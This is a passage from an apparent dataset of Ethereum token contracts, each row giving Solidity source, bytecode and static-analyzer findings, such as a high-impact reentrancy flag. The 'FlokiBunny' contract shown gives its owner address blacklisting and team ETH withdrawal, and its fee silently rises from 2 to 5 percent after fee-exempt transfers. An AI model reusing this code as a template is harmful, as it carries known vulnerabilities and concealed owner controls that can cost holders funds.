return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610323578063c3c8cd8014610343578063c9567bf914610358578063cfe81ba01461036d578063dd62ed3e1461038d57600080fd5b8063715018a614610274578063842b7c08146102895780638da5cb5b146102a957806395d89b41146102d1578063a9059cbb1461030357600080fd5b8063273123b7116100e7578063273123b7146101e1578063313ce567146102035780635932ead11461021f5780636fc3eaec1461023f57806370a082311461025457600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600981526810da185c9a5e985c9960ba1b60208201525b60405161015f919061151e565b60405180910390f35b34801561017457600080fd5b506101886101833660046113eb565b6103d3565b604051901515815260200161015f565b3480156101a457600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015f565b3480156101cd57600080fd5b506101886101dc3660046113aa565b6103ea565b3480156101ed57600080fd5b506102016101fc366004611337565b610453565b005b34801561020f57600080fd5b506040516009815260200161015f565b34801561022b57600080fd5b5061020161023a3660046114e3565b6104a7565b34801561024b57600080fd5b506102016104ef565b34801561026057600080fd5b506101b361026f366004611337565b61051c565b34801561028057600080fd5b5061020161053e565b34801561029557600080fd5b506102016102a4366004611505565b6105b2565b3480156102b557600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102dd57600080fd5b5060408051808201909152600981526810d21054925690549160ba1b6020820152610152565b34801561030f57600080fd5b5061018861031e3660046113eb565b610609565b34801561032f57600080fd5b5061020161033e366004611417565b610616565b34801561034f57600080fd5b506102016106ac565b34801561036457600080fd5b506102016106e2565b34801561037957600080fd5b50610201610388366004611505565b610790565b34801561039957600080fd5b506101b36103a8366004611371565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103e03384846107e7565b5060015b92915050565b60006103f784848461090b565b6104498433610444856040518060600160405280602881526020016116fc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610bee565b6107e7565b5060019392505050565b6000546001600160a01b031633146104865760405162461bcd60e51b815260040161047d90611573565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104d15760405162461bcd60e51b815260040161047d90611573565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050f57600080fd5b4761051981610c28565b50565b6001600160a01b0381166000908152600260205260408120546103e490610cad565b6000546001600160a01b031633146105685760405162461bcd60e51b815260040161047d90611573565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106045760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047d565b600a55565b60006103e033848461090b565b6000546001600160a01b031633146106405760405162461bcd60e51b815260040161047d90611573565b60005b81518110156106a857600160066000848481518110610664576106646116ba565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a081611689565b915050610643565b5050565b600c546001600160a01b0316336001600160a01b0316146106cc57600080fd5b60006106d73061051c565b905061051981610d31565b6000546001600160a01b0316331461070c5760405162461bcd60e51b815260040161047d90611573565b600f54600160a01b900460ff16156107665760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047d565b600f80546a295be96e6406697200000060105563ff0000ff60a01b1916630100000160a01b179055565b600d546001600160a01b0316336001600160a01b0316146107e25760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047d565b600b55565b6001600160a01b0383166108495760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047d565b6001600160a01b0382166108aa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661096f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047d565b6001600160a01b0382166109d15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047d565b60008111610a335760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047d565b6000546001600160a01b03848116911614801590610a5f57506000546001600160a01b03838116911614155b15610bde576001600160a01b03831660009081526006602052604090205460ff16158015610aa657506001600160a01b03821660009081526006602052604090205460ff16155b610aaf57600080fd5b600f546001600160a01b038481169116148015610ada5750600e546001600160a01b03838116911614155b8015610aff57506001600160a01b03821660009081526005602052604090205460ff16155b8015610b145750600f54600160b81b900460ff165b15610b7157601054811115610b2857600080fd5b6001600160a01b0382166000908152600760205260409020544211610b4c57600080fd5b610b5742601e611619565b6001600160a01b0383166000908152600760205260409020555b6000610b7c3061051c565b600f54909150600160a81b900460ff16158015610ba75750600f546001600160a01b03858116911614155b8015610bbc5750600f54600160b01b900460ff165b15610bdc57610bca81610d31565b478015610bda57610bda47610c28565b505b505b610be9838383610eba565b505050565b60008184841115610c125760405162461bcd60e51b815260040161047d919061151e565b506000610c1f8486611672565b95945050505050565b600c546001600160a01b03166108fc610c42836002610ec5565b6040518115909202916000818181858888f19350505050158015610c6a573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610c85836002610ec5565b6040518115909202916000818181858888f193505050501580156106a8573d6000803e3d6000fd5b6000600854821115610d145760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047d565b6000610d1e610f07565b9050610d2a8382610ec5565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d7957610d796116ba565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610dcd57600080fd5b505afa158015610de1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e059190611354565b81600181518110610e1857610e186116ba565b6001600160a01b039283166020918202929092010152600e54610e3e91309116846107e7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e779085906000908690309042906004016115a8565b600060405180830381600087803b158015610e9157600080fd5b505af1158015610ea5573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610be9838383610f2a565b6000610d2a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611021565b6000806000610f1461104f565b9092509050610f238282610ec5565b9250505090565b600080600080600080610f3c87611097565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f6e90876110f4565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610f9d9086611136565b6001600160a01b038916600090815260026020526040902055610fbf81611195565b610fc984836111df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161100e91815260200190565b60405180910390a3505050505050505050565b600081836110425760405162461bcd60e51b815260040161047d919061151e565b506000610c1f8486611631565b60085460009081906b033b2e3c9fd0803ce800000061106e8282610ec5565b82101561108e575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006110b48a600a54600b54611203565b92509250925060006110c4610f07565b905060008060006110d78e878787611258565b919e509c509a509598509396509194505050505091939550919395565b6000610d2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bee565b6000806111438385611619565b905083811015610d2a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047d565b600061119f610f07565b905060006111ad83836112a8565b306000908152600260205260409020549091506111ca9082611136565b30600090815260026020526040902055505050565b6008546111ec90836110f4565b6008556009546111fc9082611136565b6009555050565b600080808061121d606461121789896112a8565b90610ec5565b9050600061123060646112178a896112a8565b90506000611248826112428b866110f4565b906110f4565b9992985090965090945050505050565b600080808061126788866112a8565b9050600061127588876112a8565b9050600061128388886112a8565b905060006112958261124286866110f4565b939b939a50919850919650505050505050565b6000826112b7575060006103e4565b60006112c38385611653565b9050826112d08583611631565b14610d2a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047d565b8035611332816116e6565b919050565b60006020828403121561134957600080fd5b8135610d2a816116e6565b60006020828403121561136657600080fd5b8151610d2a816116e6565b6000806040838503121561138457600080fd5b823561138f816116e6565b9150602083013561139f816116e6565b809150509250929050565b6000806000606084860312156113bf57600080fd5b83356113ca816116e6565b925060208401356113da816116e6565b929592945050506040919091013590565b600080604083850312156113fe57600080fd5b8235611409816116e6565b946020939093013593505050565b6000602080838503121561142a57600080fd5b823567ffffffffffffffff8082111561144257600080fd5b818501915085601f83011261145657600080fd5b813581811115611468576114686116d0565b8060051b604051601f19603f8301168101818110858211171561148d5761148d6116d0565b604052828152858101935084860182860187018a10156114ac57600080fd5b600095505b838610156114d6576114c281611327565b8552600195909501949386019386016114b1565b5098975050505050505050565b6000602082840312156114f557600080fd5b81358015158114610d2a57600080fd5b60006020828403121561151757600080fd5b5035919050565b600060208083528351808285015260005b8181101561154b5785810183015185820160400152820161152f565b8181111561155d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115f85784516001600160a01b0316835293830193918301916001016115d3565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561162c5761162c6116a4565b500190565b60008261164e57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561166d5761166d6116a4565b500290565b600082821015611684576116846116a4565b500390565b600060001982141561169d5761169d6116a4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e6744f31f25ea1a28c9676264bd7f245310a55d20208636f3c4ad1c4a2b54e0864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 394 |
0x671cc980634ad411e830922706fc06f429f7c7c7 | /**
*Submitted for verification at Etherscan.io on 2021-10-17
*/
//Telegram > https://t.me/flokibunnyerc20
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiBunny is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FlokiBunny";
string private constant _symbol = "FBUNNY";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f466c6f6b6942756e6e7900000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101